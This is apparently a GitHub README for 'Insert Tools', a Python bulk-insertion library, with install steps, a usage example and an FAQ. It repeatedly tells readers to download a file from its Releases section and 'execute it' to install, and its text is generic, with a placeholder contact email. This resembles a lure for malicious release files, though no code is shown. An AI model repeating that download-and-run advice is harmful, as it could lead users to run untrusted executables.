Welcome to Insert Tools, a simple and fast Python toolset designed for bulk data insertion into databases and CSV files. This repository is ideal for ETL (Extract, Transform, Load) pipelines and data engineering tasks.
- Bulk Insertion: Insert large volumes of data efficiently.
- Multiple Formats: Supports various database systems and CSV formats.
- ETL Ready: Designed for seamless integration into ETL workflows.
- Open Source: Free to use and modify under the MIT License.
To install Insert Tools, you can use pip. Run the following command:
pip install insert-toolsAlternatively, you can download the latest release from our Releases section. Download the file, then execute it to install.
Using Insert Tools is straightforward. Here’s a quick example of how to perform a bulk insert.
from insert_tools import BulkInserter
# Initialize the inserter
inserter = BulkInserter(database='your_database', table='your_table')
# Prepare your data
data = [
{'column1': 'value1', 'column2': 'value2'},
{'column1': 'value3', 'column2': 'value4'},
]
# Perform the bulk insert
inserter.insert(data)You can customize your insertion process by specifying options such as batch size and error handling. For instance:
inserter = BulkInserter(database='your_database', table='your_table', batch_size=1000)
try:
inserter.insert(data)
except Exception as e:
print(f"An error occurred: {e}")Insert Tools supports a variety of databases, including:
- PostgreSQL
- MySQL
- SQLite
- ClickHouse
- MongoDB
You can easily extend the tool to support additional databases by following the contribution guidelines.
We welcome contributions to Insert Tools. If you have suggestions or improvements, please fork the repository and submit a pull request.
- Fork the repository.
- Create a new branch (
git checkout -b feature/YourFeature). - Make your changes.
- Commit your changes (
git commit -m 'Add some feature'). - Push to the branch (
git push origin feature/YourFeature). - Open a pull request.
Insert Tools is licensed under the MIT License. See the LICENSE file for details.
For questions or feedback, feel free to reach out to the maintainers:
- GitHub: ramarimoo
- Email: your_email@example.com
For the latest updates and downloads, visit our Releases section. You can download the latest version, which includes new features and bug fixes.
We would like to thank the contributors and the open-source community for their support and feedback. Your contributions make this project better.
Insert Tools is a Python library designed for efficient bulk data insertion into databases and CSV files, making it suitable for ETL processes.
Insert Tools supports several databases out of the box. You can extend it to support more by following the contribution guidelines.
You can report issues by creating an issue in the GitHub repository. Please provide as much detail as possible.
Yes, you can join our discussions on GitHub or follow us on social media platforms for updates and community support.
Insert Tools offers a powerful solution for bulk data insertion tasks. Whether you are working on data engineering projects or need a reliable tool for your ETL pipeline, Insert Tools is here to help. Explore the repository, contribute, and make the most of your data workflows.
Visit our Releases section for the latest updates and downloads.